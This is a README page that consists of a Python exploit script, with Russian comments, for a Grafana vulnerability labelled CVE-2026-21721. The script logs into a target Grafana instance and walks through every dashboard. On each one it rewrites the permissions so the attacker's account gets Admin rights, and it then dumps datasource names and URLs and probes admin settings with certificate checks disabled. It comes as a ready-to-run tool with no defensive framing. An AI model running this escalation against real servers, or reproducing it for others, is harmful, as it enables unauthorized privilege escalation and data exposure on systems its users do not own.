README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Grafana CVE-2026-21721 Exploit — Полная эскалация
Чтение всех разрешений + попытка записи Admin на всех дашбордах
"""
import requests
import urllib3
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE_PATH = "/grafana"
def print_banner():
print("""
╔════════════════════════════════════════════════════════════╗
║ CVE-2026-21721 Exploit — Полная эскалация до Admin ║
║ На всех дашбордах ║
╚════════════════════════════════════════════════════════════╝
""")
def авторизоваться(session, url, логин, пароль):
print(f"[+] Авторизация как {логин}")
данные = {"user": логин, "password": пароль}
r = session.post(f"{url}{BASE_PATH}/login", json=данные, timeout=12)
print(f"[+] /login → {r.status_code}")
if r.status_code != 200:
print(f"[-] Ошибка авторизации: {r.text}")
sys.exit(1)
print("[+] Авторизация прошла успешно")
def получить_user_id(session, url):
r = session.get(f"{url}{BASE_PATH}/api/user", timeout=10)
if r.status_code == 200:
data = r.json()
user_id = data.get('id')
print(f"[+] Твой userId: {user_id}")
return user_id
print("[-] Не удалось получить userId")
sys.exit(1)
def получить_дашборды(session, url):
print("\n[+] Получаем список всех дашбордов...")
r = session.get(f"{url}{BASE_PATH}/api/search?type=dash-db&query=", timeout=10)
if r.status_code != 200:
print(f"[-] Ошибка получения списка: {r.status_code} {r.text}")
return []
дашборды = r.json()
print(f"[+] Найдено {len(дашборды)} дашбордов")
return дашборды
def прочитать_разрешения(session, url, uid):
путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
r = session.get(путь, timeout=10)
if r.status_code == 200:
print(f"[+] Чтение {uid[:12]}... → 200")
return r.json()
print(f"[-] Чтение {uid[:12]}... → {r.status_code} {r.text}")
return []
def применить_admin_права(session, url, uid, user_id):
print(f"\n[+] Становимся админом на {uid[:12]}...")
текущие = прочитать_разрешения(session, url, uid)
if not текущие:
print("[-] Не удалось прочитать разрешения")
return False
обновлённые = []
добавлено = False
for item in текущие:
обновлённые.append(item)
if item.get('userId') == user_id:
item['permission'] = 4
добавлено = True
if not добавлено:
обновлённые.append({
"userId": user_id,
"permission": 4
})
payload = {"items": обновлённые}
путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
r = session.post(путь, json=payload, timeout=10)
print(f" → POST статус: {r.status_code}")
print(f" Ответ: {r.text}")
if r.status_code == 200:
print(" [+] УСПЕХ: Admin права применены")
return True
return False
def дамп_после(session, url):
print("\n[+] Дамп после попыток")
r_ds = session.get(f"{url}{BASE_PATH}/api/datasources", timeout=10)
print(f" Datasources → {r_ds.status_code}")
if r_ds.status_code == 200:
for ds in r_ds.json():
print(f" {ds.get('name')}: {ds.get('url')}")
r_set = session.get(f"{url}{BASE_PATH}/api/admin/settings", timeout=10)
print(f" Настройки админа → {r_set.status_code}")
def main():
print_banner()
session = requests.Session()
session.verify = False # ← Вот эта строка отключает проверку сертификата
url = input("[+] Введи цель (например https://grafana.com): ").strip()
логин = input("[+] Логин: ").strip()
пароль = input("[+] Пароль: ").strip()
if not url.startswith("http"):
url = "https://" + url
авторизоваться(session, url, логин, пароль)
user_id = получить_user_id(session, url)
дашборды = получить_дашборды(session, url)
if not дашборды:
sys.exit(1)
for db in дашборды:
uid = db.get("uid")
название = db.get("title", "—")[:50]
if not uid:
continue
применить_admin_права(session, url, uid, user_id)
дамп_после(session, url)
print("\n[+] Завершено. Зайди в UI и проверь вкладку Permissions на всех дашбордах")
if __name__ == "__main__":
main()